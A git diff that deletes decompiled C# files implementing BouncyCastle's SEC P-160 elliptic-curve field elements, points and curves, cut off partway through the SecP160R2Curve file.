--- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160K1Point.cs +++ /dev/null @@ -1,218 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160K1Point : AbstractFpPoint -{ - public SecP160K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP160K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP160K1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP160K1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP160R2FieldElement secP160R2FieldElement = (SecP160R2FieldElement)base.RawXCoord; - SecP160R2FieldElement secP160R2FieldElement2 = (SecP160R2FieldElement)base.RawYCoord; - SecP160R2FieldElement secP160R2FieldElement3 = (SecP160R2FieldElement)b.RawXCoord; - SecP160R2FieldElement secP160R2FieldElement4 = (SecP160R2FieldElement)b.RawYCoord; - SecP160R2FieldElement secP160R2FieldElement5 = (SecP160R2FieldElement)base.RawZCoords[0]; - SecP160R2FieldElement secP160R2FieldElement6 = (SecP160R2FieldElement)b.RawZCoords[0]; - uint[] array = Nat160.CreateExt(); - uint[] array2 = Nat160.Create(); - uint[] array3 = Nat160.Create(); - uint[] array4 = Nat160.Create(); - bool isOne = secP160R2FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP160R2FieldElement3.x; - array6 = secP160R2FieldElement4.x; - } - else - { - array6 = array3; - SecP160R2Field.Square(secP160R2FieldElement5.x, array6); - array5 = array2; - SecP160R2Field.Multiply(array6, secP160R2FieldElement3.x, array5); - SecP160R2Field.Multiply(array6, secP160R2FieldElement5.x, array6); - SecP160R2Field.Multiply(array6, secP160R2FieldElement4.x, array6); - } - bool isOne2 = secP160R2FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP160R2FieldElement.x; - array8 = secP160R2FieldElement2.x; - } - else - { - array8 = array4; - SecP160R2Field.Square(secP160R2FieldElement6.x, array8); - array7 = array; - SecP160R2Field.Multiply(array8, secP160R2FieldElement.x, array7); - SecP160R2Field.Multiply(array8, secP160R2FieldElement6.x, array8); - SecP160R2Field.Multiply(array8, secP160R2FieldElement2.x, array8); - } - uint[] array9 = Nat160.Create(); - SecP160R2Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP160R2Field.Subtract(array8, array6, array10); - if (Nat160.IsZero(array9)) - { - if (Nat160.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP160R2Field.Square(array9, array11); - uint[] array12 = Nat160.Create(); - SecP160R2Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP160R2Field.Multiply(array11, array7, array13); - SecP160R2Field.Negate(array12, array12); - Nat160.Mul(array8, array12, array); - uint x = Nat160.AddBothTo(array13, array13, array12); - SecP160R2Field.Reduce32(x, array12); - SecP160R2FieldElement secP160R2FieldElement7 = new SecP160R2FieldElement(array4); - SecP160R2Field.Square(array10, secP160R2FieldElement7.x); - SecP160R2Field.Subtract(secP160R2FieldElement7.x, array12, secP160R2FieldElement7.x); - SecP160R2FieldElement secP160R2FieldElement8 = new SecP160R2FieldElement(array12); - SecP160R2Field.Subtract(array13, secP160R2FieldElement7.x, secP160R2FieldElement8.x); - SecP160R2Field.MultiplyAddToExt(secP160R2FieldElement8.x, array10, array); - SecP160R2Field.Reduce(array, secP160R2FieldElement8.x); - SecP160R2FieldElement secP160R2FieldElement9 = new SecP160R2FieldElement(array9); - if (!isOne) - { - SecP160R2Field.Multiply(secP160R2FieldElement9.x, secP160R2FieldElement5.x, secP160R2FieldElement9.x); - } - if (!isOne2) - { - SecP160R2Field.Multiply(secP160R2FieldElement9.x, secP160R2FieldElement6.x, secP160R2FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP160R2FieldElement9 }; - return new SecP160K1Point(curve, secP160R2FieldElement7, secP160R2FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP160R2FieldElement secP160R2FieldElement = (SecP160R2FieldElement)base.RawYCoord; - if (secP160R2FieldElement.IsZero) - { - return curve.Infinity; - } - SecP160R2FieldElement secP160R2FieldElement2 = (SecP160R2FieldElement)base.RawXCoord; - SecP160R2FieldElement secP160R2FieldElement3 = (SecP160R2FieldElement)base.RawZCoords[0]; - uint[] array = Nat160.Create(); - SecP160R2Field.Square(secP160R2FieldElement.x, array); - uint[] array2 = Nat160.Create(); - SecP160R2Field.Square(array, array2); - uint[] array3 = Nat160.Create(); - SecP160R2Field.Square(secP160R2FieldElement2.x, array3); - uint x = Nat160.AddBothTo(array3, array3, array3); - SecP160R2Field.Reduce32(x, array3); - uint[] array4 = array; - SecP160R2Field.Multiply(array, secP160R2FieldElement2.x, array4); - x = Nat.ShiftUpBits(5, array4, 2, 0u); - SecP160R2Field.Reduce32(x, array4); - uint[] array5 = Nat160.Create(); - x = Nat.ShiftUpBits(5, array2, 3, 0u, array5); - SecP160R2Field.Reduce32(x, array5); - SecP160R2FieldElement secP160R2FieldElement4 = new SecP160R2FieldElement(array2); - SecP160R2Field.Square(array3, secP160R2FieldElement4.x); - SecP160R2Field.Subtract(secP160R2FieldElement4.x, array4, secP160R2FieldElement4.x); - SecP160R2Field.Subtract(secP160R2FieldElement4.x, array4, secP160R2FieldElement4.x); - SecP160R2FieldElement secP160R2FieldElement5 = new SecP160R2FieldElement(array4); - SecP160R2Field.Subtract(array4, secP160R2FieldElement4.x, secP160R2FieldElement5.x); - SecP160R2Field.Multiply(secP160R2FieldElement5.x, array3, secP160R2FieldElement5.x); - SecP160R2Field.Subtract(secP160R2FieldElement5.x, array5, secP160R2FieldElement5.x); - SecP160R2FieldElement secP160R2FieldElement6 = new SecP160R2FieldElement(array3); - SecP160R2Field.Twice(secP160R2FieldElement.x, secP160R2FieldElement6.x); - if (!secP160R2FieldElement3.IsOne) - { - SecP160R2Field.Multiply(secP160R2FieldElement6.x, secP160R2FieldElement3.x, secP160R2FieldElement6.x); - } - return new SecP160K1Point(curve, secP160R2FieldElement4, secP160R2FieldElement5, new ECFieldElement[1] { secP160R2FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP160K1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Curve.cs deleted file mode 100644 index a2b0eba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R1Curve : AbstractFpCurve -{ - private class SecP160R1LookupTable : ECLookupTable - { - private readonly SecP160R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP160R1LookupTable(SecP160R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat160.Create(); - uint[] array2 = Nat160.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 5; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 5 + j] & num2); - } - num += 10; - } - return m_outer.CreateRawPoint(new SecP160R1FieldElement(array), new SecP160R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP160R1_DEFAULT_COORDS = 2; - - private const int SECP160R1_FE_INTS = 5; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFF")); - - protected readonly SecP160R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP160R1Curve() - : base(q) - { - m_infinity = new SecP160R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("1C97BEFC54BD7A8B65ACF89F81D4D4ADC565FA45"))); - m_order = new BigInteger(1, Hex.Decode("0100000000000000000001F4C8F927AED3CA752257")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP160R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP160R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP160R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP160R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 5 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat160.Copy(((SecP160R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 5; - Nat160.Copy(((SecP160R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 5; - } - return new SecP160R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Field.cs deleted file mode 100644 index 8d6ea21..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Field.cs +++ /dev/null @@ -1,167 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R1Field -{ - private const uint P4 = uint.MaxValue; - - private const uint PExt9 = uint.MaxValue; - - private const uint PInv = 2147483649u; - - internal static readonly uint[] P = new uint[5] { 2147483647u, 4294967295u, 4294967295u, 4294967295u, 4294967295u }; - - internal static readonly uint[] PExt = new uint[10] { 1u, 1073741825u, 0u, 0u, 0u, 4294967294u, 4294967294u, 4294967295u, 4294967295u, 4294967295u }; - - private static readonly uint[] PExtInv = new uint[7] { 4294967295u, 3221225470u, 4294967295u, 4294967295u, 4294967295u, 1u, 1u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat160.Add(x, y, z) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.AddWordTo(5, 2147483649u, z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if ((Nat.Add(10, xx, yy, zz) != 0 || (zz[9] == uint.MaxValue && Nat.Gte(10, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(10, zz, PExtInv.Length); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(5, x, z) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.AddWordTo(5, 2147483649u, z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat160.FromBigInteger(x); - if (array[4] == uint.MaxValue && Nat160.Gte(array, P)) - { - Nat160.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(5, x, 0u, z); - return; - } - uint c = Nat160.Add(x, P, z); - Nat.ShiftDownBit(5, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat160.CreateExt(); - Nat160.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if ((Nat160.MulAddTo(x, y, zz) != 0 || (zz[9] == uint.MaxValue && Nat.Gte(10, zz, PExt))) && Nat.AddTo(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.IncAt(10, zz, PExtInv.Length); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat160.IsZero(x)) - { - Nat160.Zero(z); - } - else - { - Nat160.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong num = xx[5]; - ulong num2 = xx[6]; - ulong num3 = xx[7]; - ulong num4 = xx[8]; - ulong num5 = xx[9]; - ulong num6 = 0uL; - num6 += xx[0] + num + (num << 31); - z[0] = (uint)num6; - num6 >>= 32; - num6 += xx[1] + num2 + (num2 << 31); - z[1] = (uint)num6; - num6 >>= 32; - num6 += xx[2] + num3 + (num3 << 31); - z[2] = (uint)num6; - num6 >>= 32; - num6 += xx[3] + num4 + (num4 << 31); - z[3] = (uint)num6; - num6 >>= 32; - num6 += xx[4] + num5 + (num5 << 31); - z[4] = (uint)num6; - num6 >>= 32; - Reduce32((uint)num6, z); - } - - public static void Reduce32(uint x, uint[] z) - { - if ((x != 0 && Nat160.MulWordsAdd(2147483649u, x, z, 0) != 0) || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.AddWordTo(5, 2147483649u, z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat160.CreateExt(); - Nat160.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat160.CreateExt(); - Nat160.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat160.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat160.Sub(x, y, z) != 0) - { - Nat.SubWordFrom(5, 2147483649u, z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(10, xx, yy, zz) != 0 && Nat.SubFrom(PExtInv.Length, PExtInv, zz) != 0) - { - Nat.DecAt(10, zz, PExtInv.Length); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(5, x, 0u, z) != 0 || (z[4] == uint.MaxValue && Nat160.Gte(z, P))) - { - Nat.AddWordTo(5, 2147483649u, z); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1FieldElement.cs deleted file mode 100644 index ced95e7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1FieldElement.cs +++ /dev/null @@ -1,176 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP160R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat160.IsZero(x); - - public override bool IsOne => Nat160.IsOne(x); - - public override string FieldName => "SecP160R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP160R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP160R1FieldElement", "x"); - } - this.x = SecP160R1Field.FromBigInteger(x); - } - - public SecP160R1FieldElement() - { - x = Nat160.Create(); - } - - protected internal SecP160R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat160.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat160.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat160.Create(); - SecP160R1Field.Add(x, ((SecP160R1FieldElement)b).x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat160.Create(); - SecP160R1Field.AddOne(x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat160.Create(); - SecP160R1Field.Subtract(x, ((SecP160R1FieldElement)b).x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat160.Create(); - SecP160R1Field.Multiply(x, ((SecP160R1FieldElement)b).x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat160.Create(); - Mod.Invert(SecP160R1Field.P, ((SecP160R1FieldElement)b).x, z); - SecP160R1Field.Multiply(z, x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat160.Create(); - SecP160R1Field.Negate(x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat160.Create(); - SecP160R1Field.Square(x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat160.Create(); - Mod.Invert(SecP160R1Field.P, x, z); - return new SecP160R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat160.IsZero(y) || Nat160.IsOne(y)) - { - return this; - } - uint[] array = Nat160.Create(); - SecP160R1Field.Square(y, array); - SecP160R1Field.Multiply(array, y, array); - uint[] array2 = Nat160.Create(); - SecP160R1Field.SquareN(array, 2, array2); - SecP160R1Field.Multiply(array2, array, array2); - uint[] array3 = array; - SecP160R1Field.SquareN(array2, 4, array3); - SecP160R1Field.Multiply(array3, array2, array3); - uint[] array4 = array2; - SecP160R1Field.SquareN(array3, 8, array4); - SecP160R1Field.Multiply(array4, array3, array4); - uint[] array5 = array3; - SecP160R1Field.SquareN(array4, 16, array5); - SecP160R1Field.Multiply(array5, array4, array5); - uint[] array6 = array4; - SecP160R1Field.SquareN(array5, 32, array6); - SecP160R1Field.Multiply(array6, array5, array6); - uint[] array7 = array5; - SecP160R1Field.SquareN(array6, 64, array7); - SecP160R1Field.Multiply(array7, array6, array7); - uint[] array8 = array6; - SecP160R1Field.Square(array7, array8); - SecP160R1Field.Multiply(array8, y, array8); - uint[] z = array8; - SecP160R1Field.SquareN(z, 29, z); - uint[] array9 = array7; - SecP160R1Field.Square(z, array9); - if (!Nat160.Eq(y, array9)) - { - return null; - } - return new SecP160R1FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP160R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP160R1FieldElement); - } - - public virtual bool Equals(SecP160R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat160.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 5); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Point.cs deleted file mode 100644 index 0850edc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R1Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R1Point : AbstractFpPoint -{ - public SecP160R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP160R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP160R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP160R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP160R1FieldElement secP160R1FieldElement = (SecP160R1FieldElement)base.RawXCoord; - SecP160R1FieldElement secP160R1FieldElement2 = (SecP160R1FieldElement)base.RawYCoord; - SecP160R1FieldElement secP160R1FieldElement3 = (SecP160R1FieldElement)b.RawXCoord; - SecP160R1FieldElement secP160R1FieldElement4 = (SecP160R1FieldElement)b.RawYCoord; - SecP160R1FieldElement secP160R1FieldElement5 = (SecP160R1FieldElement)base.RawZCoords[0]; - SecP160R1FieldElement secP160R1FieldElement6 = (SecP160R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat160.CreateExt(); - uint[] array2 = Nat160.Create(); - uint[] array3 = Nat160.Create(); - uint[] array4 = Nat160.Create(); - bool isOne = secP160R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP160R1FieldElement3.x; - array6 = secP160R1FieldElement4.x; - } - else - { - array6 = array3; - SecP160R1Field.Square(secP160R1FieldElement5.x, array6); - array5 = array2; - SecP160R1Field.Multiply(array6, secP160R1FieldElement3.x, array5); - SecP160R1Field.Multiply(array6, secP160R1FieldElement5.x, array6); - SecP160R1Field.Multiply(array6, secP160R1FieldElement4.x, array6); - } - bool isOne2 = secP160R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP160R1FieldElement.x; - array8 = secP160R1FieldElement2.x; - } - else - { - array8 = array4; - SecP160R1Field.Square(secP160R1FieldElement6.x, array8); - array7 = array; - SecP160R1Field.Multiply(array8, secP160R1FieldElement.x, array7); - SecP160R1Field.Multiply(array8, secP160R1FieldElement6.x, array8); - SecP160R1Field.Multiply(array8, secP160R1FieldElement2.x, array8); - } - uint[] array9 = Nat160.Create(); - SecP160R1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP160R1Field.Subtract(array8, array6, array10); - if (Nat160.IsZero(array9)) - { - if (Nat160.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP160R1Field.Square(array9, array11); - uint[] array12 = Nat160.Create(); - SecP160R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP160R1Field.Multiply(array11, array7, array13); - SecP160R1Field.Negate(array12, array12); - Nat160.Mul(array8, array12, array); - uint x = Nat160.AddBothTo(array13, array13, array12); - SecP160R1Field.Reduce32(x, array12); - SecP160R1FieldElement secP160R1FieldElement7 = new SecP160R1FieldElement(array4); - SecP160R1Field.Square(array10, secP160R1FieldElement7.x); - SecP160R1Field.Subtract(secP160R1FieldElement7.x, array12, secP160R1FieldElement7.x); - SecP160R1FieldElement secP160R1FieldElement8 = new SecP160R1FieldElement(array12); - SecP160R1Field.Subtract(array13, secP160R1FieldElement7.x, secP160R1FieldElement8.x); - SecP160R1Field.MultiplyAddToExt(secP160R1FieldElement8.x, array10, array); - SecP160R1Field.Reduce(array, secP160R1FieldElement8.x); - SecP160R1FieldElement secP160R1FieldElement9 = new SecP160R1FieldElement(array9); - if (!isOne) - { - SecP160R1Field.Multiply(secP160R1FieldElement9.x, secP160R1FieldElement5.x, secP160R1FieldElement9.x); - } - if (!isOne2) - { - SecP160R1Field.Multiply(secP160R1FieldElement9.x, secP160R1FieldElement6.x, secP160R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP160R1FieldElement9 }; - return new SecP160R1Point(curve, secP160R1FieldElement7, secP160R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP160R1FieldElement secP160R1FieldElement = (SecP160R1FieldElement)base.RawYCoord; - if (secP160R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP160R1FieldElement secP160R1FieldElement2 = (SecP160R1FieldElement)base.RawXCoord; - SecP160R1FieldElement secP160R1FieldElement3 = (SecP160R1FieldElement)base.RawZCoords[0]; - uint[] array = Nat160.Create(); - uint[] array2 = Nat160.Create(); - uint[] array3 = Nat160.Create(); - SecP160R1Field.Square(secP160R1FieldElement.x, array3); - uint[] array4 = Nat160.Create(); - SecP160R1Field.Square(array3, array4); - bool isOne = secP160R1FieldElement3.IsOne; - uint[] array5 = secP160R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP160R1Field.Square(secP160R1FieldElement3.x, array5); - } - SecP160R1Field.Subtract(secP160R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP160R1Field.Add(secP160R1FieldElement2.x, array5, array6); - SecP160R1Field.Multiply(array6, array, array6); - uint x = Nat160.AddBothTo(array6, array6, array6); - SecP160R1Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP160R1Field.Multiply(array3, secP160R1FieldElement2.x, array7); - x = Nat.ShiftUpBits(5, array7, 2, 0u); - SecP160R1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(5, array4, 3, 0u, array); - SecP160R1Field.Reduce32(x, array); - SecP160R1FieldElement secP160R1FieldElement4 = new SecP160R1FieldElement(array4); - SecP160R1Field.Square(array6, secP160R1FieldElement4.x); - SecP160R1Field.Subtract(secP160R1FieldElement4.x, array7, secP160R1FieldElement4.x); - SecP160R1Field.Subtract(secP160R1FieldElement4.x, array7, secP160R1FieldElement4.x); - SecP160R1FieldElement secP160R1FieldElement5 = new SecP160R1FieldElement(array7); - SecP160R1Field.Subtract(array7, secP160R1FieldElement4.x, secP160R1FieldElement5.x); - SecP160R1Field.Multiply(secP160R1FieldElement5.x, array6, secP160R1FieldElement5.x); - SecP160R1Field.Subtract(secP160R1FieldElement5.x, array, secP160R1FieldElement5.x); - SecP160R1FieldElement secP160R1FieldElement6 = new SecP160R1FieldElement(array6); - SecP160R1Field.Twice(secP160R1FieldElement.x, secP160R1FieldElement6.x); - if (!isOne) - { - SecP160R1Field.Multiply(secP160R1FieldElement6.x, secP160R1FieldElement3.x, secP160R1FieldElement6.x); - } - return new SecP160R1Point(curve, secP160R1FieldElement4, secP160R1FieldElement5, new ECFieldElement[1] { secP160R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP160R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Curve.cs deleted file mode 100644 index c507220..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160R2Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160R2Curve : AbstractFpCurve -{ - private class SecP160R2LookupTable : ECLookupTable - { - private readonly SecP160R2Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP160R2LookupTable(SecP160R2Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat160.Create(); - uint[] array2 = Nat160.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 5; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 5 + j] & 